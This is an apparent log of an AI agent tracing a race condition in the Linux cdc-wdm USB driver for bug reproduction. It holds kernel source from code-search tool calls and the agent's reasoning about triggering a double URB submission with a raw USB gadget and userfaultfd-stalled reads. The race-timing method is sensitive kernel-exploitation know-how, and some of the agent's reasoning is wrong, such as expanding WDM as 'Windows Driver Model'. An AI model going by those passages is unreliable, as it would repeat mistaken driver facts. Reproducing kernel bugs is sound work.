This tells me the path that led to the warning. It originates in the `vfs_read` system call, which then calls into `wdm_read`, and ultimately triggers the `service_outstanding_interrupt` function within the `cdc-wdm.c` driver. The specific line number `509` in `drivers/usb/class/cdc-wdm.c` for `service_outstanding_interrupt` is a key focal point.
Therefore, my next logical step is to dive deep into the `drivers/usb/class/cdc-wdm.c` file. I need to understand the context within that file, particularly around line `509` and how it relates to `wdm_read` and the broader USB subsystem (`usb_submit_urb`). My aim is to find the conditions that would cause this particular warning to be logged.
|
| 98/4 |
2026/09/11 22:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:service_outstanding_interrupt]
Results: map[SourceCode: 485: /*
486: * Submit the read urb if resp_count is non-zero.
487: *
488: * Called with desc->iuspin locked
489: */
490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 99/4 |
2026/09/11 22:18 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 12335
output: 41
thoughts: 420
Thoughts: **My Thought Process on the CDC WDM Device Interaction**
Here's how I'm dissecting this sequence of events and what's going through my mind as an expert in this domain:
**1. Initial Setup: Mimicking a CDC WDM Device**
My primary objective here is to simulate the behavior of a CDC WDM device. This means I need to adhere to the established USB Communication Device Class (CDC) abstract control model (ACM) and specifically the Windows Driver Model (WDM) notification mechanism. It’s about presenting myself as a peripheral that the host expects to interact with in a very particular way.
**2. Triggering Notifications: Signaling Responsiveness**
The next crucial step is to signal to the host that I have data ready. The strategy is to send *two* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications. These are sent on EP1 (the Interrupt IN endpoint). This isn't just a single ping; it’s a double notification, designed to ensure the host acknowledges my readiness.
**3. Host Acknowledgment and First Read**
The host driver, upon receiving these notifications, will interpret them. Specifically, it will increment a counter – `desc->resp_count` – to reflect the two notifications. Immediately after, it initiates a Control Read URB targeting EP0. This is the host's explicit request to retrieve the notification data.
**4. My Response on EP0: Delivering the Initial Data**
Now, I need to fulfill that request. My gadget will respond to the Control Read URB on EP0 by providing 10 bytes of data. This is the actual payload of the notification. The host driver will then dutifully copy this data into its internal buffer. Critically, it will clear the `WDM_RESPONDING` flag and wake up any threads that might be waiting for this data.
**5. User-Space Read and the Page Fault**
This is where the interaction shifts to user space. A separate thread invokes a `read()` operation on `/dev/cdc-wdm0`, specifying a buffer (`buf`) that is being monitored by `userfaultfd`. The `read()` system call begins its work, attempting to copy the 10 bytes from the kernel buffer to the user-space buffer. However, it hits a snag: a page fault. The data isn't immediately available in the user-space page, so the `read()` operation blocks, waiting for the fault to be resolved.
**6. The STALL on EP1: Introducing an Error Condition**
While the `read()` operation is gracefully suspended, I introduce an unexpected event. I send a STALL (HALT) command to EP1. From the host's perspective, this means the interrupt IN endpoint, the one we used for notifications, is now signaling an error. The host driver receives `-EPIPE` and, as per its error handling, schedules a workqueue item, `wdm_rxwork()`, to be executed later.
**7. `wdm_rxwork()`: The Error Handler's Response**
This `wdm_rxwork()` function is designed to handle such errors. It runs, and the first thing it checks is the `WDM_RESPONDING` flag. Seeing that it's currently 0 (because the host cleared it after the EP0 read), it sets `WDM_RESPONDING` to 1, indicating that it's now actively processing a response. Then, it immediately resubmits the `desc->response` URB. This is essentially the host driver trying to retry sending the notification data, assuming the STALL was a transient issue.
**8. A Brief Pause: Ensuring URB Submission**
I introduce a small delay, a fraction of a second, into the thought process. This isn't about the protocol itself but a practical consideration: I want to be absolutely sure that the `desc->response` URB has been submitted and is actively being processed by the USB subsystem before I proceed. This prevents race conditions where I might try to resolve the fault before the host is ready to receive the re-submitted data.
**9. Resolving the Page Fault: Unblocking User Space**
With the URB submission likely in progress or completed, I now resolve the `userfaultfd` page fault. This signals to the kernel that the data *is* now available in the user-space buffer.
**10. `read()` Resumes and `service_outstanding_interrupt()`**
With the page fault resolved, the `read()` system call can finally complete its `copy_to_user()` operation. Once that’s done, it proceeds to call `service_outstanding_interrupt()`. This function is part of the mechanism to handle pending interrupt URBs.
**11. The Critical Race: `resp_count` vs. `WDM_RESPONDING`**
Here's where the core of the observed issue lies. `service_outstanding_interrupt()` executes. It decrements `resp_count` (which is now 1, as one notification was processed, and the second one is in flight via the `desc->response` URB). Then, it *blindly* sets `WDM_RESPONDING` to 1, overwriting whatever state the `wdm_rxwork()` function might have set or was in the process of setting. *Immediately after*, it resubmits the `desc->response` URB again.
**12. The USB Core's Warning: Detecting the Double Submission**
The USB core, being robust, detects that this URB is *already active* (it was submitted by `wdm_rxwork()`). This is a clear indication of a logic error or race condition. As a result, it emits the `URB submitted while active` warning. This is the direct consequence of the conflicting state management of `WDM_RESPONDING` and the premature resubmission of the URB by `service_outstanding_interrupt()` while the error-handling path was still active.
Essentially, I'm observing a scenario where the host driver's error handling path (`wdm_rxwork`) and the normal interrupt service path (`service_outstanding_interrupt`) are getting out of sync due to the STALL event and the way `WDM_RESPONDING` is managed, leading to a double submission of an URB and a subsequent warning from the USB core. The user-space `read` operation, by introducing the page fault and `userfaultfd`, acts as a timing mechanism that exposes this underlying race condition.
|
| 100/4 |
2026/09/11 22:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 101/4 |
2026/09/11 22:18 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13242
output: 40
thoughts: 35
Thoughts: **My Thought Process**
Ah, so my initial check confirms that `wdm_rxwork` is indeed responsible for setting the `WDM_RESPONDING` flag and then submitting the `desc->response`. That makes sense, as it's the work function dealing with received data. Now, to fully understand the flow of data and responses in this context, I need to dive into the `wdm_read` function. That's my next logical step to trace how this received data is ultimately processed and made available to the higher layers.
|
| 102/4 |
2026/09/11 22:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_read]
Results: map[SourceCode: 524: static ssize_t wdm_read
525: (struct file *file, char __user *buffer, size_t count, loff_t *ppos)
526: {
527: int rv, cntr;
528: int i = 0;
529: struct wdm_device *desc = file->private_data;
530:
531:
532: rv = mutex_lock_interruptible(&desc->rlock); /*concurrent reads */
533: if (rv < 0)
534: return -ERESTARTSYS;
535:
536: cntr = READ_ONCE(desc->length);
537: smp_rmb(); /* against wdm_in_callback() */
538: if (cntr == 0) {
539: desc->read = 0;
540: retry:
541: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
542: rv = -ENODEV;
543: goto err;
544: }
545: if (test_bit(WDM_OVERFLOW, &desc->flags)) {
546: clear_bit(WDM_OVERFLOW, &desc->flags);
547: rv = -ENOBUFS;
548: goto err;
549: }
550: i++;
551: if (file->f_flags & O_NONBLOCK) {
552: if (!test_bit(WDM_READ, &desc->flags)) {
553: rv = -EAGAIN;
554: goto err;
555: }
556: rv = 0;
557: } else {
558: rv = wait_event_interruptible(desc->wait,
559: test_bit(WDM_READ, &desc->flags));
560: }
561:
562: /* may have happened while we slept */
563: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
564: rv = -ENODEV;
565: goto err;
566: }
567: if (test_bit(WDM_RESETTING, &desc->flags)) {
568: rv = -EIO;
569: goto err;
570: }
571: usb_mark_last_busy(interface_to_usbdev(desc->intf));
572: if (rv < 0) {
573: rv = -ERESTARTSYS;
574: goto err;
575: }
576:
577: spin_lock_irq(&desc->iuspin);
578:
579: if (desc->rerr) { /* read completed, error happened */
580: rv = usb_translate_errors(desc->rerr);
581: desc->rerr = 0;
582: spin_unlock_irq(&desc->iuspin);
583: goto err;
584: }
585: /*
586: * recheck whether we've lost the race
587: * against the completion handler
588: */
589: if (!test_bit(WDM_READ, &desc->flags)) { /* lost race */
590: spin_unlock_irq(&desc->iuspin);
591: goto retry;
592: }
593:
594: cntr = desc->length;
595: spin_unlock_irq(&desc->iuspin);
596: }
597:
598: if (cntr > count)
599: cntr = count;
600: rv = copy_to_user(buffer, desc->ubuf, cntr);
601: if (rv > 0) {
602: rv = -EFAULT;
603: goto err;
604: }
605:
606: spin_lock_irq(&desc->iuspin);
607:
608: for (i = 0; i < desc->length - cntr; i++)
609: desc->ubuf[i] = desc->ubuf[i + cntr];
610:
611: desc->length -= cntr;
612: /* in case we had outstanding data */
613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
618: rv = cntr;
619:
620: err:
621: mutex_unlock(&desc->rlock);
622: return rv;
623: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 103/4 |
2026/09/11 22:19 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 14741
output: 42
thoughts: 123
Thoughts: **Understanding the User Faulting Behavior in the WDM Driver**
My current focus is on a peculiar situation I'm observing within the WDM driver, specifically how user-space fault handling interacts with the data transfer mechanisms. I'm seeing that a `wdm_read` operation, which relies on `copy_to_user(buffer, desc->ubuf, cntr)` to move data into the user's buffer, is unexpectedly blocking. My initial hypothesis points towards `userfaultfd` being the culprit here, causing the `wdm_read` call to pause.
While this read operation is suspended, another critical component, `wdm_rxwork`, is executing. This work item checks a flag, `WDM_RESPONDING`. If this flag is currently 0, indicating that a response is not being actively processed, `wdm_rxwork` proceeds to set `WDM_RESPONDING` to 1. Immediately after, it submits `desc->response`, presumably to initiate or continue a response handling process.
This leads me to the core of my investigation: what triggers `WDM_RESPONDING` to revert back to 0? My current understanding is that this state transition occurs within the `wdm_in_callback` function. This callback is invoked specifically when `desc->response` URB has completed its execution, suggesting that the completion of a response transaction is the mechanism that clears this flag. The sequence implies a handshake: `wdm_rxwork` prepares for a response by setting the flag, submits the URB, and `wdm_in_callback` signals the readiness for the next response by clearing the flag upon completion. The `userfaultfd` block in `wdm_read` is, therefore, interrupting this expected flow, likely by preventing the user-space buffer from being ready for data, which in turn might be indirectly impacting the URB completion or subsequent state transitions.
|
| 104/4 |
2026/09/11 22:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_in_callback]
Results: map[SourceCode: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 105/4 |
2026/09/11 22:19 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16128
output: 42
thoughts: 285
Thoughts: **My Thought Process on the WDM Communication Flow**
Okay, so I've been tracing this WDM (Windows Driver Model, I assume, given the context) interaction, and here's how I'm piecing it together. It all starts with the gadget signaling that it has a response available.
First, the gadget sends this `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification on endpoint 1. My immediate understanding is that this is an asynchronous notification, indicating something is ready.
Then, on the host side, upon receiving that notification, my system increments a `desc->resp_count` – so, it's the first response indication, hence `resp_count` becomes 1. Critically, it also sets a flag, `WDM_RESPONDING`. This flag seems to be a gatekeeper for further control requests. Immediately after, it submits the actual data request, which is a Control Read operation on endpoint 0, pointing to `desc->response`.
The gadget, it seems, is proactive and sends *another* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on endpoint 1. My system receives this second notification. Again, I increment `desc->resp_count`, bringing it to 2. However, this time, it *doesn't* submit another `desc->response` URB. The reason is clear: the `WDM_RESPONDING` flag is still very much set from the previous interaction, so it's already in the process of handling one response. This prevents a race condition or a flood of control requests.
Next, the gadget finally fulfills the Control Read URB that was submitted on endpoint 0. This is the actual data transfer.
After the data is transferred on EP0, my `wdm_in_callback` function is invoked. This callback is a crucial cleanup and state-resetting mechanism. It clears the `WDM_RESPONDING` flag, effectively signaling that the host is no longer actively waiting for a control response. It then copies the received data into `desc->ubuf`, making it available for processing. Importantly, it also sets a `WDM_READ` flag and triggers a wake-up on `desc->wait`.
This wake-up then causes `wdm_read` to proceed. It attempts to copy the data from the kernel buffer (`desc->ubuf`) to user space using `copy_to_user`. This is where I see a potential block – `copy_to_user` is currently hanging in `userfaultfd`. This implies that the user-space process waiting for this data hasn't yet faulted in the necessary memory or isn't ready to receive it, causing the kernel operation to stall.
Simultaneously, or perhaps shortly after the EP0 completion, the gadget sends a STALL on endpoint 1. This is an unexpected event on the notification endpoint.
This STALL on EP1 triggers my `wdm_int_callback` (the interrupt callback for EP1). It receives an error code, specifically `-EPIPE`, which is the standard indication for a pipe error, and in this context, likely a consequence of the STALL. In response to this error, my system schedules a work item, `wdm_rxwork`, to handle this unexpected situation, probably to re-initialize or recover the endpoint.
So, in essence, I'm observing a flow where notifications trigger control reads, a flag manages concurrent access, data is transferred, callbacks update state, user-space interaction can cause delays, and unexpected endpoint events lead to error handling.
|
| 106/4 |
2026/09/11 22:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 107/4 |
2026/09/11 22:19 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 17888
output: 42
thoughts: 970
Thoughts: **The Race Condition in `wdm_int_callback` and `wdm_read`**
It appears I've uncovered a race condition that arises from the interaction between `wdm_int_callback` and `wdm_read`, specifically when a USB endpoint experiences a STALL condition (`-EPIPE`).
Here's how I understand the sequence of events leading to the problem:
1. When `wdm_int_callback` detects a STALL (`status == -EPIPE`), it schedules a work item, `wdm_rxwork`.
2. `wdm_rxwork` begins execution. It checks a flag, `WDM_RESPONDING`. At this point, because `wdm_in_callback` would have cleared this flag earlier, `WDM_RESPONDING` is 0.
3. `wdm_rxwork` then sets `WDM_RESPONDING` to 1 and submits the `desc->response` URB. This is the first submission of this URB.
4. Meanwhile, `wdm_read` has been waiting and is now proceeding to resolve a userfaultfd.
5. After resolving the userfaultfd, `wdm_read` finishes its `copy_to_user` operation. It decrements `desc->length` to zero, clears the `WDM_READ` flag, and then calls `service_outstanding_interrupt`.
6. `service_outstanding_interrupt` decrements `desc->resp_count`. Crucially, if `desc->resp_count` was initially 2, it becomes 1 at this stage. It then attempts to set `WDM_RESPONDING` to 1 (which it already is, but it does so again) and submits the `desc->response` URB. This is the second submission of the *same* URB.
7. This second submission triggers an error from the USB core because the `desc->response` URB is already in flight, having been submitted by `wdm_rxwork`.
This sequence aligns perfectly with the race condition described previously.
I've also been examining the provided C reproducer to confirm its validity. It seems to implement this exact logic, utilizing synchronization primitives like `event_t` (specifically `event_wait` and `event_set`) and `setup_uffd`.
However, while reviewing the `ep1_thread` function within the reproducer, I've hit a potential snag. The call to `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)` uses `ep_in`, which is defined as an `int`, directly as the third argument. Based on the macro definition for `USB_RAW_IOCTL_EP_SET_HALT` (`_IOW('U', 13, __u32)`), the `ioctl` expects a pointer to a `__u32` value for data transfer. The current usage appears to be passing the integer value itself, not a pointer to it. I need to verify the exact behavior and expected argument type for `USB_RAW_IOCTL_EP_SET_HALT` in the `raw_gadget` implementation to ensure the reproducer is correctly crafted.
|
| 108/4 |
2026/09/11 22:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl]
Results: map[SourceCode:1294: static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
1295: {
1296: struct raw_dev *dev = fd->private_data;
1297: int ret = 0;
1298:
1299: if (!dev)
1300: return -EBUSY;
1301:
1302: switch (cmd) {
1303: case USB_RAW_IOCTL_INIT:
1304: ret = raw_ioctl_init(dev, value);
1305: break;
1306: case USB_RAW_IOCTL_RUN:
1307: ret = raw_ioctl_run(dev, value);
1308: break;
1309: case USB_RAW_IOCTL_EVENT_FETCH:
1310: ret = raw_ioctl_event_fetch(dev, value);
1311: break;
1312: case USB_RAW_IOCTL_EP0_WRITE:
1313: ret = raw_ioctl_ep0_write(dev, value);
1314: break;
1315: case USB_RAW_IOCTL_EP0_READ:
1316: ret = raw_ioctl_ep0_read(dev, value);
1317: break;
1318: case USB_RAW_IOCTL_EP_ENABLE:
1319: ret = raw_ioctl_ep_enable(dev, value);
1320: break;
1321: case USB_RAW_IOCTL_EP_DISABLE:
1322: ret = raw_ioctl_ep_disable(dev, value);
1323: break;
1324: case USB_RAW_IOCTL_EP_WRITE:
1325: ret = raw_ioctl_ep_write(dev, value);
1326: break;
1327: case USB_RAW_IOCTL_EP_READ:
1328: ret = raw_ioctl_ep_read(dev, value);
1329: break;
1330: case USB_RAW_IOCTL_CONFIGURE:
1331: ret = raw_ioctl_configure(dev, value);
1332: break;
1333: case USB_RAW_IOCTL_VBUS_DRAW:
1334: ret = raw_ioctl_vbus_draw(dev, value);
1335: break;
1336: case USB_RAW_IOCTL_EPS_INFO:
1337: ret = raw_ioctl_eps_info(dev, value);
1338: break;
1339: case USB_RAW_IOCTL_EP0_STALL:
1340: ret = raw_ioctl_ep0_stall(dev, value);
1341: break;
1342: case USB_RAW_IOCTL_EP_SET_HALT:
1343: ret = raw_ioctl_ep_set_clear_halt_wedge(
1344: dev, value, true, true);
1345: break;
1346: case USB_RAW_IOCTL_EP_CLEAR_HALT:
1347: ret = raw_ioctl_ep_set_clear_halt_wedge(
1348: dev, value, false, true);
1349: break;
1350: case USB_RAW_IOCTL_EP_SET_WEDGE:
1351: ret = raw_ioctl_ep_set_clear_halt_wedge(
1352: dev, value, true, false);
1353: break;
1354: default:
1355: ret = -EINVAL;
1356: }
1357:
1358: return ret;
1359: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 109/4 |
2026/09/11 22:20 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 19931
output: 52
thoughts: 19
Thoughts: **My Thought Process Regarding `raw_ioctl_ep_set_clear_halt_wedge`**
Okay, so the first thing I'm doing is zeroing in on this specific function: `raw_ioctl_ep_set_clear_halt_wedge`. My immediate instinct is to understand its purpose and, crucially, how it fits into the broader context of the system I'm examining. I'm thinking, "What does this function *do* at its core?" Is it about directly manipulating hardware endpoints? Is it a higher-level abstraction? The name itself, with "ioctl" and "ep" (presumably for endpoint), suggests a low-level interaction, likely with USB or a similar bus. The "set\_clear\_halt\_wedge" part hints at a very specific control mechanism – dealing with halt states, and perhaps a way to prevent or recover from those states, a "wedge" implying a stuck or problematic condition.
So, my initial hypothesis is that this function is designed to either initiate or manage a clearing of the halt condition on a specific endpoint, and potentially provides a mechanism to prevent it from reoccurring or to break out of a state where it's stuck. I'm already anticipating that I'll need to understand the underlying protocol or hardware behavior that this function abstracts away. What are the preconditions for calling this? What are the expected return values, and what do they signify in terms of success or failure?
My next step is to dive into the implementation itself. I'll be looking for:
* **The `ioctl` number:** What specific command is being sent to the kernel or driver? This will be a strong indicator of the intended operation.
* **The arguments passed:** What data structures or values are being provided to the `ioctl`? This will tell me *which* endpoint is being targeted and what specific parameters are being set or cleared.
* **The kernel/driver code it interacts with:** Where does this `ioctl` call ultimately land? I need to trace its path to understand the actual device-level operations. Is it talking to a USB host controller driver, a device driver, or something else entirely?
* **Error handling:** How does the function deal with potential issues? Are there checks for invalid arguments, device unavailability, or communication failures? What specific error codes can be returned, and what do they mean in practice?
* **The concept of a "wedge":** This is the most intriguing part of the name. I need to understand *how* a halt can become a "wedge." Is it a hardware state, a software state, or a combination? And how does this function specifically address that "wedged" state, beyond just a simple clear halt? Does it involve retries, timeouts, or a specific sequence of commands?
Essentially, I'm approaching this by dissecting the name, forming an initial hypothesis about its function, and then systematically examining its implementation and the underlying mechanisms it interacts with. My goal is to build a comprehensive understanding of its behavior, its limitations, and its role in the overall system's endpoint management. I'm not just looking at *what* it does, but *why* it's designed that way and *how* it achieves its objective at a fundamental level.
|
| 110/4 |
2026/09/11 22:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 111/4 |
2026/09/11 22:20 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 21091
output: 44
thoughts: 279
Thoughts: **My Thought Process Regarding `USB_RAW_IOCTL_EP_SET_HALT` and Data Handling in `raw_gadget`**
Okay, so I'm looking at this `USB_RAW_IOCTL_EP_SET_HALT` definition:
```c
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
```
My initial thought is that `value` here, as the argument to `raw_ioctl`, represents the *endpoint index*. But then I recall that `_IOW` macros in `ioctl` typically expect a *pointer* to the data being transferred from user space, not the data itself. The `__u32` part suggests that the data payload is indeed a 32-bit unsigned integer.
